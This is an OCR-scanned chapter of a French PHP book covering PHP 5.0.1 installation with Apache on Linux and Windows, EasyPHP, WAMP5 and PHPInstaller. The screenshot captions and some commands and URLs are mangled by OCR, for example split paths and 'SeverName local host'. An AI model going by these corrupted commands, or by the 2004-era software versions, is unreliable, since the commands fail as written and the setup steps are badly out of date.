OFPHP: 

http://www.ofphp.com/index.php?page=references 
ZDNet : les logiciels libres tiennent la charge 
http:l/techupdate.zdnet.fr/story/0„t381-s211 1391.00.html 
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Installation 



Pour creer un site en PHP, il n'y a pas besoin de beaucoup de choses. Un editeur de texte et 
un serveur web suffisent. 

Si vous utilisez les services d'un hebergeur Internet, vous pouvez eventuellement vous 
contenter de deposer vos scripts dans l'espace qui vous est reserve et voir le resultat obtenu. 
Mais il est bien plus pratique d'installer son propre serveur web sur sa machine, afin de tester 
ses scripts avant d'aller les deposer chez un hebergeur. 

Autrement dit, quels que soient les cas, vous serez amene a installer un serveur web supportant 
PHP. D'ailleurs, vu la simplicite de l'operation, pourquoi s'en priver ? 

Si vous etes votre propre hebergeur, le chapitre Configuration vous permettra de personnaliser 
les options autorisees. Dans le cas contraire, il est conseille de consulter ce chapitre qui vous 
permettra (via un appel a phpinf o ( ) ) de mieux connaitre ce que permet votre hebergeur et ce 
qu'il interdit. 

Enfin, ce chapitre vous presente quelques editeurs particulierement adaptes a PHP. 



2.1. Installation 

PHP est disponible pour differents serveurs et systemes d'exploitation. Dans ce chapitre, 
nous nous efforcerons de decrire au mieux l'installation de PHP sur les serveurs Apache, IIS, 
iPlanet, etc. 



Avec Apache 



PHP pour Apache est notamment disponible sous les environnements Linux/UNIX, Windows 
et Mac OS X. 



^■gQ Apache 2 
"**^ Apache 2 est considere par ses developpeurs comme la version officielle du serveur 

web. Malheureusement, Apache2 n 'est pas encore officiellement supporte par les 
developpeurs de PHP. Dans certains cas, la version 5 de PHP peut fonctionner avec 
Apache 2. Dans tons les cas, consultez la documentation officielle pour connaitre 
revolution de la compatibilite : www.php.net/manuallfr/install.apache2.php. Nous pre- 
senterons done essentiellement l'installation avec la premiere version d' apache tout en 
indiquant les differences mineures pour une installation avec Apache2. 



Sous Linux/Unix 

Nous pouvons considerer qu'il existe trois grandes methodes d'installation de PHP dans un 
environnement Linux/UNIX. Cela peut ainsi se faire : 

En utilisant les scripts d'installation fournis avec les distributions (Linux notamment) ; 

■ En utilisant des kits d'installation disponibles sur Internet ; 

■ En faisant une installation "manuelle". 
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Utiliser les scripts d'installation de votre distribution est le moyen le plus stir et le plus rapide 
pour debuter avec PHP, mais passer par une installation "manuelle" vous permet de 
personnaliser au mieux votre serveur. 

Installation via la distribution Linux (ou UNIX) 

Lors de 1'installation du systeme d'exploitation, de nombreuses distributions offrent a leurs 
utilisateurs la possibilite d'installer un serveur Apache avec PHP et, bien souvent, MySQL, 
voire egalement d'autres bibliotheques. II suffit alors generalement de cocher une case ou deux. 
Certaines distributions proposent meme des versions dites "optimisees". 

Nous ne pouvons malheureusement pas toutes les detailler ici. Vous etes done convie a 
consulter la documentation fournie avec votre systeme d'exploitation. 

II est egalement possible d'installer cet ensemble Apache/PHP (et eventuellement MySQL) a 
posteriori, grace aux systemes des "packages" (parfois appeles paquetages) portant 
generalement l'extension .rpm. 

Installation via un kit 

Si votre distribution ne propose pas de quoi installer simplement PHP dans votre 
environnement, ou bien si elle ne propose pas de version recente des serveurs Apache et de 
PHP, vous pouvez utiliser un kit d'installation. 

II existe, par exemple, Apache Toolbox, que vous trouverez a l'adresse http://www.apachetoolbox 
.com (mais malheureusement en anglais). ApacheToolbox est un projet qui permet en effet 
d'installer et de mettre a jour tres facilement Apache, PHP (version 3 ou 4, au choix), MySQL, 
ZendOptimizer, OpenLDAP, ainsi que pres de cinquante modules pour Apache. 

Bien que les auteurs ne l'aient jamais essaye, sachez qu'il existe LinuxEasylnstaller, disponible 
a l'adresse http://www.phpmylinux.net/index.php3?rub=lei, qui installe Apache/PHP, MySQL et php- 
MyAdmin (scripts permettant 1'administration des bases de donnees via un navigateur). 

Installation manuelle 

L'installation manuelle est certainement la meilleure facon d'avoir exactement ce que Ton 
veut : Apache et PHP avec la base de donnees de son choix (PostgreSQL ou Oracle, par 
exemple) et pas necessairement MySQL, ainsi qu'avec les bibliotheques que Ton souhaite (au 
choix parmi celles presentees tout au long de ce livre) et pas seulement avec celles supportees 
par les kits d'installation (que ce soient ou non ceux des distributions). C'est egalement le plus 
sur moyen d'avoir la toute derniere version (chacun des elements etant librement 
telechargeable sur Internet). 

Bref, meme si ce n'est pas la fagon la plus simple d'installer PHP, elle reste celle que nous 
preconisons. Les autres methodes presentees precedemment sont toutefois fort pratiques pour 
debuter en PHP. 

Pre-requis 

II va de soi que, pour installer Apache manuellement, vous devez avoir une connaissance des 
bases de Linux (la notion de droit utilisateur) et des commandes elementaires que sont cp, cd 
ou is par exemple. Nous ne reviendrons pas sur l'utilisation du systeme Linux, et encore moins 
sur son installation. En revanche, vous trouverez d'excellentes documentations sur Internet ou 
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dans des livres. Ce message d'avertissement n'a pas pour objectif de vous decourager ou de vous 
effrayer devant cet excellent systeme d'exploitation qu'est Linux. Nous vous invitons 
simplement a prendre connaissance des bases avant de vous lancer plus avant dans ['installation 
d'Apache et de PHP. 

Installation 

La notice d'installation suivante fonctionne avec la plupart des distributions Linux (RedHat, 
Mandrake, SuSE, etc.). II peut neanmoins y avoir des differences d'arborescence, les 
differentes distributions n'ayant pas toujours la meme logique. Pour cela, reportez-vous au 
manuel de reference de votre systeme d'exploitation, qui doit vous fournir une description 
detaillee de sa structure. II vous suffit alors de modifier les chemins donnes dans les lignes de 
commande. Les grandes procedures, elles, restent inchangees. 

L'installation se realise en deux temps : 

1 . Dans un premier temps, vous devez installer les bibliotheques que vous souhaitez utiliser. 

2. Vous devez compiler PHP en tenant compte des bibliotheques precedemment installees, 
puis compiler Apache en integrant PHP. 



JK Suite de I 'installation 

^^\ Une fois connecte et authentifie sur un systeme Linux, et pour que la suite de 
ATTENTION l'installation se deroule correctement, vous devez passer en mode super utilisateur 
(root). Pour cela, dans un shell, tapez simplement la commande "su -" suivie du 
mot de passe root quand le systeme vous le demande. 

Installation des bibliotheques 

Si vous ne savez pas encore quelles bibliotheques vous allez utiliser, vous pouvez vous contenter 
d'une installation de base (sans bibliotheque particuliere). 

Les procedures d'installation des bibliotheques sont decrites dans le chapitre traitant de la 
bibliotheque, mais, generalement, le principe est le suivant : 

il suffit de telecharger la derniere version de la bibliotheque sur Internet (ou d'utiliser celle 
disponible sur le CD-ROM), de copier l'archive (par exemple sous /usr/local/src), et de taper les 
commandes suivantes : 

# tar zxvf 1 ibrairie-version.tar.gz 

# cd librairie-version 

# ./configure 

# make 

# make install 

Si vous rencontrez un probleme, pensez a consulter le fichier INSTALL (bien souvent en 
anglais) qui doit etre fourni avec l'archive d'installation. Vous y trouverez la documentation 
complete pour l'installation de la librairie, qui necessite peut-etre des parametres speciaux. 
Soyez egalement attentif au message d'erreur qui pourrait etre donne par le compilateur. II 
constitue generalement un excellent moyen de savoir ou se situe le probleme (dependances, 
version de compilateur trop ancienne, etc). Le fichier README (egalement en anglais, a moins 
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que vous trouviez un LISEZMOI) peut egalement contenir des informations utiles comme, par 
exemple, des incompatibilites temporaires. 

Compilation de PHP et Apache 

Vous devez, dans un premier temps, telecharger les dernieres versions d'Apache et de PHP (ou 
utiliser celles fournies sur le CD-ROM). 



© 



Les sites officiels 
Apache : 
internet http://www.apache.org 
PHP: 
http://www.php.net 

Autant que possible, telechargez les sources au format .tar.gz qui seront utilisees dans la suite de 
notre explication. Cela vous permettra d'avoir des binaires optimises pour votre systeme. 

Allez dans le dossier contenant les archives que vous avez telechargees. Vous pouvez d'ores et 
deja passer en mode administrateur (root), puisque cela est generalement necessaire pour 
1'operation d'installation. Decompressez alors les deux archives (nous supposerons ici que les 
archives sont decompresses dans le meme repertoire). 

# tar zxvf apache_1.3.31.tar.gz 

Dans le cas d'apache 2, la commande devient tar zxvf httpd-2 . o . 50. tar .gz. 

# tar zxvf php-5. 0.1. tar.gz 

Pour compiler PHP en tant que module APXS, vous devrez d'abord compiler Apache en vous 
assurant qu'il autorise le chargement des modules dynamiques. 

# cd httpd_X 

# ./configure --prefix=/usr/local /apache --enable-module=so 

# make 

# make install 

Apache est desormais installe sous /usr/local/apache. 
Reste a compiler le module APXS PHP. 

# cd .. 

# cd php-5. 0.1 

# rm config. cache 

La suppression du fichier config.cache est inutile lors de la premiere compilation (ce fichier 
n'existant pas), mais, par la suite, elle est quasiment indispensable si vous souhaitez etre sur de 
recompiler PHP avec les nouvelles options precisees. 

Vous pouvez alors passer a la configuration (preparation a la compilation de PHP). 

# ./configure --with-apxs=/usr/local/apache/bin/apxs <autres options> 
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Dans le cas d'apache 2, la commande devient ./configure — with-apxs2 = /usr/local/ 
apache/bin/apxs <autres options> 

II existe de nombreuses options de configuration consumables en tapant . /configure — help. 
Pour chaque bibliotheque presentee dans ce livre, l'option de configuration est indiquee (vous 
devrez sans doute en cumuler plusieurs). Ainsi, par exemple, la compilation de PHP avec mysql 
et gd donnera : 

# ./configure --with-apxs=/usr/local/apache/bin/apxs --with-mysql=/usr/local/ 
s-= mysql --with-gd=/usr/local --with-jpeg-dir=/usr/local --with-png-dir=/usr/ 
x local --with-zlib-dir=/usr/local 

II est a noter qu'il n'est pas obligatoire de preciser les chemins des bibliotheques, PHP 
s'assurant de retrouver la bibliotheque concernee Mais il est toutefois conseille de le faire afin 
de s'assurer qu'il n'y ait pas de malentendu (en particulier sur la version a installer). 

Vous pouvez ensuite passer a la compilation : 

# make 



Compilation sous Solaris 

Sous Solaris, vous devrez vous assurer de compiler PHP avec les outils GNU. En 
conseil d'autres termes, vous devrez installer le "package" binutils (disponible sur le site 
http:llwww.sunfreeware.com) et verifier que le make GNU est bien le premier trouve 
dans le path. 



§ make install 

Ca y est, PHP est compile et installe (un fichier libphp5.so a ete ajoute dans le repertoire libexec 
d'Apache). Reste a configurer PHP et Apache. Outre ce qui est decrit dans le paragraphe 
suivant, vous devrez consulter le fichier lusrllocall apache I conflhttpd.conf et verifier qu'il 
contient bien la ligne suivante (de preference juste apres les lignes correspondant a la meme 
directive). Au besoin, ajoutez la : 

LoadModule php5_module libexec/1 ibphp5.so 




REMARQUE 



Compilation de PHP integre a Apache 

II est egalement possible de compiler PHP au sein d'Apache (sans utiliser de 
module). Pour cela, la procedure devient : 

# cd apache_1.3.31 

# ./configure 

# cd .. 

# cd php-5.0.1 

# rm config. cache 

# ./configure --with-apache=. ./apache_1.3.31 <autres options> 

# make 

# make install 

# cd . ./apache_1.3.31 
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' Ja> # . /conf i gure --prefix=/usr/local /apache 

REMARQUE s< --activate-module=src/modules/php5/l ibphp5.a 

# make 

# make install 

Dans ce cas, vous ne devrez pas ajouter ou devrez commenter la ligne : 
LoadModule php5_module libexec/1 ibphp5.so 

Reste a copier le fichier de configuration par defaut de PHP dans le repertoire ou il doit se 
trouver : 

# cd ../php-5.0.1 

# cp php.ini-dist /usr/local/lib/php.ini 



Les principales options de php.ini seront decrites dans le prochain chapitre. 
RENVOI 

Ensuite, editez le fichier /usr/local/apache/conf/httpd.confh l'aide de Vi ou Emacs (selon votre 
appartenance), et ajoutez la ligne suivante afin que les fichiers portant les extensions indiquees 
soient interpretes par PHP : 

AddType appl ication/x-httpd-php .php .php5 .php4 .phtml 
AddType appl ication/x-httpd-php-source .phps 

Pour voir la vie en rose (ou bleu, oujaune, ou rouge...) 

Si vous donnez une extension .phps a vos scripts, alors ceux-ci ne seront pas 
REMARQUE interpretes, mais le code source sera affiche et colorise, ce qui peut parfois permettre 
de voir comment PHP Vanalyse (et ainsi detecter des parse error). 

II est aussi preferable de modifier l'instruction suivante : 

Directory Index index.html 

en : 

Directory Index index.html index. php index. php5 index. php4 

Cette instruction permet de forcer la page index que le navigateur doit afficher si l'URL 
demandee est incomplete. Avec la ligne precedente, le serveur ira chercher dans le repertoire 
precise le fichier index.html et, s'il ne le trouve pas, index.php, etc. Ainsi, appeler la page 
http://localhost/ renvoie la page se trouvant a l'URL http://localhost/index.html, si celle-ci existe. 

Pensez egalement, si ce n'est deja fait, a decommenter ou ajouter une ligne 

ServerName <nom de votre machine> 

Vous pouvez par exemple indiquer : 

SeverName local host 
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A present, lancez le serveur Apache : 

/usr/local/apache/bin/httpd start 

Pour l'arreter, vous n'aurez qu'a taper la commande : 

/usr/1 ocal /apache/bi n/httpd stop 

Si vous n 

Vous pouvez maintenant creer votre premiere page web. Editez la page /usr/local/apache/ 
htdocs/index.php et inserez-y ces quelques lignes : 

<?php 
phpinfo() ; 
?> 

Vous n'avez plus qu'a appeler la page depuis votre navigateur en entrant l'adresse 
http://localhosVindex.php. 

Figure 2.1 : 

Voila votre page 
interpretee en PHP 




3 phpinfoQ - Microsoft Internet Explorer 


alQfe^ 


Fichier Edition Affichage Favoris Outils ? 






H 




PHP Version 5.0.1 , 












System 


Windows NTWINXP 5.1 build 2600 


H 


Build Date 


Aug 12 2004 23:30:01 


Configure Command 


cscript/nologo conngure.js"--with-gd=share 
build" 


Server API 


Apache 


virtual Directory Support 


enabled 


Configuration File (php.ini) Path 


c:\warnp\apache\php.ini 


PHP API 


20031224 


PHP Extension 


20040412 


Zend Extension 


220040412 


Debug Build 


no 


Thread Safety 


enabled 


IPv6 Support 


enabled 


TT -A iminn 


1 J-l 1 LL A. I'! 


<J \>\ 


^J Terrnine 



Sous Windows 

Tout comme pour Linux, l'installation sous Windows pourra se faire de deux facons 
differentes : en cliquant ou en compliant. II existe desormais de nombreuses solutions "tout en 
un" qui vous permettent d'installer Apache et PHP sur un systeme Windows sans avoir a faire 
de fastidieuses manipulations. De plus, ce type d'installation ne necessite qu'un minimum de 
temps et de connaissances techniques. Si ces programmes ont pour eux la simplicity et la 
rapidite, ils ont aussi les defauts evidents de leurs avantages : installation non transparente et 
pas toujours personnalisable a souhait. II faut parfois egalement aller ajouter "manuellement" 
des bibliotheques. 
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REMARQUE 



Installer PHP5 pour Apache 2 

Si vous souhaitez installer PHP 5 et Apachel, vous devrez telecharger Varchive zippee 
de PHP5. L'installeur automatique ne vous foumira pas tous lesfichiers requis pour 
que PHP5 fonctionne avec Apachel. 
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Installation automatique 

EasyPHP 

EasyPHP est un programme bien pratique, qui permet d'installer Apache, PHP, MySQL et 
PhpMy Admin en quelques clics de souris. II y a environ une nouvelle mouture chaque annee. 

Pour debuter ['installation, lancez T executable EasyPHPl-7 _setup.exe present sur le CD-ROM. 
Cela installera Apache 1.3.27, PHP 4.3.3, MySQL 4.0.15 et Phpmyadmin 2.5.3. Vous pouvez 
egalement vous rendre sur le site d'EasyPHP pour verifier si une version plus recente est disponible 
(www.easyphp.org). Si c'est le cas, il est vivement conseille d'utiliser le produit le plus recent. 





1 - *1 




Welcome to the EasyPHP 1 .7 Setup 
Wizard 

This will install EasyPHP 1.7 on your computer. 

li is rscommanded thai: you close all tithes applications- ber.ve 
continuing. 


EasyPHP installs et configure automatiquernent un 
enviranriement de travail cornpiet peirnsltant de mettrc ec: 
osisvr? touts ia puisianca ~X la souplesse qu'uffreni: le langage 
dynsniique PHP el son support efticcce des bases de donnses. 
E asyPHP regroupe un seiveur Apache, une base de donnee 
MySQL, le langage PHP ainsi que des outils facilitant le 
d eve lop pern en i de vos sites ou de vos applications. 

Click Newt to continue, or Cancel to exit Setup. 




| About. 




| Nexl> J Cancel 1 





Figure 2.2 : 

Debut de V installation 
d'EasyPHP 



Quoi qu'il en soit, l'installation n'est en rien hors du commun, et se deroule sans difficulte 
particuliere. Une fois l'operation menee a terme, le programme d'installation vous propose de 
vous rendre sur la page d'accueil d'EasyPHP. 




i^ || 



| About" ] 



Completing the EasyPHP 1 .7 Setup 
Wizard 



Setup has tinished installing EasyPHP 1.7 on your computer. 
Ths application may he launched by selecting the installed 



Click Finish to exit Setup. 
W\ ouvnr la page d'aeciK 



Finish [^ 



Figure 2.3 : 

Fin de l'installation 
d'EasyPHP 
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Ne changez rien, puis cliquez sur Terminer (enfin... Finish si comme dans votre environnement 
vous avez un texte mi-anglais mi-frangais) Et voila, c'est fini. Un navigateur s'ouvre alors pour 
vous presenter la page d'accueil d'EasyPHP. 

Si le logiciel ne se lance pas automatiquement, dans le menu Demarrer, cliquez sur Tous les 
programmes, puis sur EasyPHP 1. 7 et, enfin, sur EasyPHP. Le programme va alors demarrer. 









Fichier Edition Affichage Favoris Outils ? 




# 




H 


M . Ml 1 . 


J J 


^EL "i 01:29 

1 Aide ► 


Fichiers Log ► 
Configuration ► 


Explorer 

Web local ^ 

Redemarrer 

Arreter 


Quitter 

Is 


m 




1 l>l 
J Poste de trc 




rS] Figure 2.5 : 
™ Element de la barre 
des taches 



Figure 2.4 : Page d'accueil d'EasyPHP 

La page d'accueil d'EasyPHP presente plusieurs 
choses fort utiles : une introduction a EasyPHP en 
local et des liens vers le support en ligne. Vous 
pouvez egalement acceder a cette page en cliquant 
droit sur le "E" qui a ete ajoute a la barre des taches 
(deja certainement bien assez chargee a votre gout). 

Ce E vous permettra d'acceder aux principales fonctions relatives a l'administration d'un 
serveur web. 

Dans le menu contextuel qui s'ouvre alors, il suffit de choisir Web local, mais, pour le moment, 
cliquez plutot sur Administration. Cette option vous permet d'acceder a une configuration 
centralisee de certains des programmes que vous venez d'installer. 
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3 [EasyPHP] - Administration - Microsoft Internet Explorer 



Fichier Edition Affichage Favoris Outils 



Q Precedente • \x\ |jj] /J] JD Rechercher •jjjj 1 Favoris ^jf Madia ^ 01 " ^ S " E 

OK Liens @ h : 



Adresse \g\ http;//127,0,0,l/home/ 




Figure 2.6 : La paged 'administration d'EasyPHP 

II vous est alors possible (par exemple) de verifier puis de changer le mot de passe d'acces a 
MySQL depuis le compte "root". 

Dans la section Environnement EasyPHP, cliquez sur le bouton Parametres. La page se 
rafraichit pour vous donner les informations relatives aux parametres de connexion par defaut 
attribues a votre serveur MySQL. Vous devez lire quelque chose comme ceci : 

Parametres par defaut de la base de donnees : 
serveur : "local host" 
username : "root" 
mot de passe : "" 

Pour le serveur "locaihost", l'utilisateur "root" (celui qui a tous les droits) n'a pas de mot de 
passe ; il peut se connecter sans meme avoir a s'identifier. II peut done etre important de 
corriger cela (si plusieurs personnes ont acces a votre machine). Toujours sur la meme page, 
cliquez sur PhpMyAdmin dans la section Administrez vos bases de donnees. Vous devez voir 
s'afficher la page d'accueil de PhpMyAdmin dans un nouveau navigateur. Pour plus 
d'informations, vous pouvez vous reporter a la partie des annexes traitant de PhpMyAdmin. 
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Choisissez une 
base de donnees 



Bienvenue a phpMyAdmin 2.2.6 

MySQL 3.23.49 -mas-nt sur le serveur localhost - utilisateur : root@lutalhost 



MySQL 


phpMyAdmin 


i Greer une base de donnees [Docurnentatimri] 

Creer | 


r- Language: | 



"3 



i Afficher I'etat du [Documentation] 

i Afficher les variables du serveur MySQL [Documentation] 

i Afficher les processus [Documentation] 

i Recharger MySQL [Documentation] 

r Utilisateurs el privileges [Documentation] 

i Statistiques sur les hases de donnees 



French (fr) 

r- Documentation de phpMyAdmin 

r- Afficher les informations relatives a PHP 
r- Site otticiel de phpMyAdmin 

[ChangeLooJ [CVS] [Lists] 



Figure 2.7 : PhpMyAdmin 

Dans la partie gauche de la page, vous devez trouver, sous la mention Accueil, un menu 
deroulant des differentes bases de donnees presentes sur le systeme. La partie qui nous 
interesse se trouve sur la partie droite de la page. On peut voir deux colonnes : une premiere qui 
propose des liens en rapport avec MySQL, et une seconde qui concerne PhpMyAdmin. Dans la 
colonne MySQL, cliquez sur le lien Utilisateurs et privileges. La nouvelle page qui s'affiche 
presente alors un tableau recapitulatif des utilisateurs ayant un acces au serveur, un resume de 
leurs privileges, ainsi que diverses options concernant les utilisateurs. Sur la ligne de 
l'utilisateur "root", cliquez sur le lien Modifier. La page se recharge. Certains des champs ont 
ete pre-remplis. Verifiez que le champ "Utilisateur" contienne bien "root", puis donnez par deux 
fois le mot de passe que vous souhaitez voir utilise pour cet utilisateur. Cliquez enfin sur 
Executer. Voila. N'oubliez pas de noter le mot de passe de l'utilisateur "root". 

N'oubliez pas de lancer EasyPHP lorsque vous voulez utiliser Apache ou MySQL. 

Autre interet d'EasyPHP : il peut servir de base de depart. Rien ne vous empeche, sans avoir a 
tout reinstaller, de mettre a jour certains des programmes mis a disposition par EasyPHP. Cela 
se fera, certes, au prix de quelques manipulations. PHP lui-meme pourra, par exemple, etre mis 
a jour facilement grace a PHPInstaller. 




REMARQUE 



WAMP5 : pour installer PHP5, MySQL4 et Apache2 

WAMP5 est un systeme similaire a EasyPHP quipermet d' installer PHP 5 et MySQL 
4.0.18 automatiquement. Apache2, lui, est disponible sous forme a" add-on. Vous 
pouvez trouver WAMP5 a cette adresse : www.wampserver.com. Attention toutefois : si 
vous avez deja ins talle Apache 2 ou PHP5, ilfaudra les desinstaller sans quoi il risque 
d'y avoir un conflit avec les versions installees par WAMP5. 



PHPInstaller : mettre PHP a jour facilement 

PHPInstaller est un programme du groupe PHP (http://www.php.net), qui vous permet d'installer 
PHP sur votre systeme. II est pratique a plus d'un titre. Si vous disposez deja d'un serveur web 
sur votre machine, il lui est possible de configurer lui-meme ce serveur. Malheureusement, le 
programme de configuration automatique n'existe pas encore pour tous les serveurs web, et il 
faudra done mettre la main a la pate dans certains cas (Apache, tout particulierement). PH- 
PInstaller est done plutot a reserver pour une premiere installation avec un serveur IIS ou dans 
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les autres cas, pour une mise a jour. Ceci constitue un moyen simple et rapide de suivre au plus 
pres 1'evolution de PHP. 

Pour commencer, lancez Yex€cutablephp-5. 0.1-installer.exe present sur le CD-ROM. 

Figure 2.8 : 

Page d'accueil de 
PHPInstaller 
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MUM 1 ' 1 


You may need to stop your web servei before installation. IIS 
and FWS do not need to be stopped. 




Click Cancel to quit Setup and then stop your web server if 
necessary. Click Next to continue with the Setup program . 




WARNING: This program is protected by copyright law and 
international treaties. 


.Pxi^'i-3.'L..^.3..Li<L..:-? 


Installer version number 2.0.3 




Next > Cancel 





Une fois passee la page d'accueil et celle concernant la licence, PHPInstaller va vous proposer 
deux types d'installation. 

Figure 2.9 : 

Choix du type 

Please select the type of installation you require. d' installation 

Standard 




(* Advanced 



Nous allons decrire ['installation avancee, l'installation standard n'etant pas assez complete 
pour garantir un minimum de personnalisation. Une fois le processus demarre, repondez aux 
questions que vous pose 1'Assistant. Choisissez un repertoire d'installation, puis acceptez la 
sauvegarde des fichiers deja presents sur le systeme, comme vous le propose PHPInstaller. 
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;= Choose Destination Location 




Setup will install PHP 5.0.1 in the following folder. 



o install into a different folder, click Browse, and select 
another folder. 



You can choose not to install PHP 5.0.1 by clicking Cancel to 
exit Setup. 



Destination Folder 
C:\PHP 



Figure 2.10 : 

Repertoire 
d "installation 




Les options qui arrivent maintenant sont propres au PHP. Vous devez dormer un repertoire 
temporaire qui servira pour les fichiers en attente de publication ('files upload") ainsi qu'un 
repertoire de stockage pour les fichiers de sessions. Ensuite, lorsque la fonction mail ( ) sera 
utilisee, vous devrez specifier 1'adresse qui sera utilisee pour le champ "de" ("from"). 



?Pi Mail Configuration 





Figure 2.11 : 

Configuration du mail 



Please enter the 'from' address for the mail function. 
Imoi@monsit4corn 



Vous pouvez ensuite choisir le niveau de rapport d'erreur. Votre chofx sera guide par 
l'utilisation que vous comptez faire du serveur sur lequel vous etes en train d'installer PHP. S'il 
a pour vocation de devenir un serveur de test, vous choisirez l'affichage maximal, cela afin de 
cerner au mieux les erreurs et dysfonctionnements. En revanche, si vous installez PHP sur une 
machine qui hebergera un site professionnel destine au grand public, choisissez le plus bas 
niveau d'affichage. Les visiteurs ne sont pas concernes par ces questions de programmation, et 
il n'est pas necessaire de faciliter la tache a d'eventuels pirates qui sauraient alors directement 
ou aller fouiller... 

Ensuite, choisissez le serveur HTTP sur lequel vous etes en train d'installer PHP : Microsoft 
PWS, IIS 3 ou 4, Apache ou Xitami. 



63 



Chapitre 2 Prise en main 



il Server Type 



CO 

E 



csi 




the type of hltp server JIEJU wish to conligure to 

PWS on Windows 9x or ME 
PWS on NT Workstation 
IIS 3 or lower 
IIS 4 or higher 
IIS 6 or higher 



othei server]- 1 will configure the ^;eb serves menuelly 



< Back f 'NsHi; "Tl 



Figure 2.12 : 

Selection du serveur 
Web 



Si le serveur que vous utilisez ne se situe pas dans cette liste, vous devrez alors passer par la case 
"configuration a la main post-installation" (vous pouvez d'ailleurs utiliser les differentes 
methodes presentees dans ce livre). 

Enfin, choisissez les extensions qui devront etre interpreters comme etant de PHP. Cette 
derniere etape passee, PHPInstaller passe a l'installation des composants de PHP sur votre 
machine. Si vous disposiez deja de PHP sur votre machine, le programme vous demandera si 
vous souhaitez ou non conserver votre ancien php.ini. Cela peut s'averer tres interessant si vous 
aviez personnalise votre fichier php.ini. 



v 



PHP 5.0.1 has been successfully installed 

Press the OK button to eKit this installation. 

NT users may need to set appropriate 
permissions for the various php files and 
directories. Usue!lL'IUSR_MachineName (or 
the user your web jsvei runs as) will need 
read access to php. mi. ;em write access to 
the uploadtmp and session directories, and 
enecute access foi php-cgi ene and php5ts.dll. 



Figure 2.13 : 

Voila, c'estfini ! 



Et voila, c'est fait. 



REMARQUE 



Mise a jour de PHP pour une installation d'EasyPHP 

Dans le cas d'une mise a niveau de PHP pour un systeme sur lequel avait ete installe 
EasyPHP, il faudra jongler un peu avec le fichier php.ini. EasyPHP installe PHP 
dans un repertoire qui lui est propre. Si vous desirez conserver la configuration 
d'EasyPHP, ce qui est recommande, vous devrez editer le fichier php.ini situe a la 
racine de votre dossier Windows pour lui donner les bons chemins pointant vers les 
differents composants de PHP (php.exe, dossier des extensions, etc.). 



Installation personnalisee 

Vous pouvez choisir d'installer les differents elements de la configuration un par un, grace a des 
solutions plus ou moins automatisees. Voici comment proceder. 
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Installer Apache 

II existe des programmes qui vous permettent d'installer facilement la derniere version 
d'Apache sur votre machine. Telechargez l'un de ces programmes, de preference depuis l'un 
des miroirs du site Apache (http://mir2.ovh.net/ftp.apache.org/dist/httpd/binaries/win32/). Vous pouvez 
choisir entre un installateur automatique en .exe ou en .msi (Microsoft Installer). Si vous optez 
pour la version en .msi, assurez-vous que vous disposez bien de l'installateur Windows. Pour 
verifier, dans le menu Demarrer, puis dans Executer, tapez la commande msiexec. II vous faut 
au minimum la version 1 . 10. 1029. 1 . Si vous ne disposez pas de la version appropriee, telechargez 
le programme depuis l'une de ces adresses, en fonction de votre plateforme : 

Windows NT 4.0 : www.microsott.com/downloads/release. asp?ReleaselD=17344 
Windows 95 et 98 : www.microsoft.com/downloads/release. asp?ReleaselD=17343 

Une fois que vous avez telecharge le programme d'installation d Apache, lancez-le. 

Figure 2.14 : 

Fenetre d'accueil 



rite Installation Wizard rvill install Apache HT~P Server 1.3,31 
on your computer To continue, click Next 





WARNING rhir program is protected by r^pyrignt larv and 
international treaties. 



Acceptez la licence du programme, puis cliquez sur OK jusqu'a ce que vous arriviez sur la page 
qui vous pose quelques questions relatives a la configuration du serveur. 




Server Information 

Please enter your server's information. 



f'-iebvork Domain (e,c. ;orr.enet...';'!Ti; 



rtiOioite , corn 
Server Name (e.g. ■ww.somenetcom): 



www. rnonsite.com 



Adminisirr-iior's Emdl Address (e.g. webmasteriSsomeriebcom); 



Install Apache HTTP Server programs and shortcuts to: 

Run as a service for All Users -- Recommended 

Run wlie.r: starred manually, only for rne (...) 



Figure 2.15 : 

Parametrage minimal 



65 



Chapitre 2 Prise en main 



CO 

E 



csi 



Remplissez les champs Network Domain (nom du domaine pour lequel le serveur est installe), 
Server Name (nom du serveur web qui va etre installe), et donnez l'adresse e-mail de 
1'administrateur. Choisissez ensuite si Apache doit etre installe comme un service utilisable 
pour tous les utilisateurs, ou s'il doit etre lance manuellement par un utilisateur donne. 



? Apache HTTP Server - Installation Wizard 



Setup Type 

Choose die setup type that bast suits your noses. 



s'-ie~se select a setup type. 



©Complete 



O Custom 



All program features will be installed, (Requires the most disk 
space,) 



Choose which program features you want installed and where they 
will be installed, Recommended for advanced users, 



Figure 2.16 : 

Choix du type 
d 'installation 



A vous de faire votre choix selon les besoins du serveur que vous mettez en place. Donnez 
ensuite le chemin d'installation pour que le processus puisse arriver a terme. 




Installation Wizard Completed 



The Installation Wizard h=s successfully instilled Apache HTTP 
Server i .3.3: . Click Finish to exit the wizard. 



Figure 2.17 : 

Fin de V installation 



Par la suite, vous pourrez reutiliser cet installateur pour reparer votre serveur web Apache si 
vous l'avez mis a mal avec de trop nombreux tests. II vous suffit de relancer l'installateur pour 
qu'il vous propose soit de supprimer Apache, soit de le reparer. 



CONSEIL 



Ruse de sioux 

Si vous installez Apache pour faire des tests sur votre machine personnelle, void 
comment renseigner les champs de l'installateur Apache a I'etape Server Information. 

Network Domain : localdomain ; 
Server Name : localhost.localdomain ; 
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Administrator's Email Address : voire adresse e-mail. 



CONSEIL 



Si vous utilisez Windows XP avec le Service Pack 2, vous aurez certainement droit a une alerte 
de securite a la fin de Installation d'Apache. 

Figure 2.18 : 

Alerte de Windows XP 
lors du demarrage 




Voulez-Yous continuer a bloquer ce programme ? 



Nom : Apache HTTP Seiver 

F-diteur : Apache Software Foundation 



Mamtenir leblocage I Debloquer 

Me dernander ulterieurernent 



Le Pere-fsu Windows a bloque I'acceptation dee connexions Internet on reseau pour 
ce programme. Si vous 'sites conferee a ce programme ou a son ediieur. vous 
pouvez le debloquer, Ouan lis-ie \- i " oquer un programme ? 



d'Apache 




Cliquez sur le bouton Debloquer pour permettre l'execution du serveur web. 



Une fois Apache installe, il va se lancer 
automatiquement. Vous pourrez trouver une petite 
plume ornee d'une fleche vers la droite dans la 
barre des taches Windows qui permet d'acceder a la 
console de gestion de votre serveur Web. 

La console de gestion vous permet de connaitre le 
statut du serveur, de 1'arreter, de le relancer ou bien 
d'acceder a la console de gestion des services 
Windows. 



U^^^ 





T he Apaohe2 service is step Ding 
TheApache2 service has stepped. 
Th.eApa-ch.e2 service is starling. 
TheApache2 service has started. 



Apache/2.0.50 (Win32; 



Figure 2.19 : 

Cliquez sur la petite 
fleche verte sur fond 
blanc pour acceder a 
la console de gestion 
Apache 



